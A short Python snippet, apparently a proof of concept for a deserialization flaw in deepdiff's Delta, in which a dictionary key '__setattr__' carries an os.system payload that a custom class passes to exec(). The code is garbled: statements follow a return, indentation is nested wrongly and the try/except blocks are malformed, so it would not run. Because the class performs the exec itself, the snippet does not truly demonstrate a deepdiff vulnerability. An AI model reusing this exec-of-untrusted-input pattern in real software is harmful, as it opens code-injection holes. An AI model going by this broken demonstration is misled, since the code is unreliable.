Vulnerable code sample

from deepdiff import Delta
import os

def deserialize(delta_serialized):
    """Vulnerable function that demonstrates the security issue."""
    delta = Delta.from_dict(delta_serialized)
    return delta

    delta_serialized = {
    'some_attribute': 'new_value',
    '__setattr__': 'os.system("touch /tmp/pwned")'
    }

    delta = deserialize(delta_serialized)

    class Target:
        def __init__(self):
            """Vulnerable function that demonstrates the security issue."""
            self.some_attribute = 'original_value'
            self.__dunder_attribute__ = 'original_dunder_value'

            def __setattr__(self, name, value):
                """Vulnerable function that demonstrates the security issue."""
                if name == '__setattr__':
                    try:
                        exec(value)
                        except Exception as e:
                            print(f"Error executing __setattr__: {e}")
                        else:
                            super().__setattr__(name, value)

                            target_instance = Target()
                            print("Before:", target_instance.some_attribute, target_instance.__dunder_attribute__)

                            for key, value in delta.items():
                                setattr(target_instance, key, value)

                                print("After:", target_instance.some_attribute, target_instance.__dunder_attribute__)

                                if os.path.exists("/tmp/pwned"):
                                    print("Vulnerability exploited successfully! File /tmp/pwned created.")
                                else:
                                    print("Vulnerability exploitation failed.")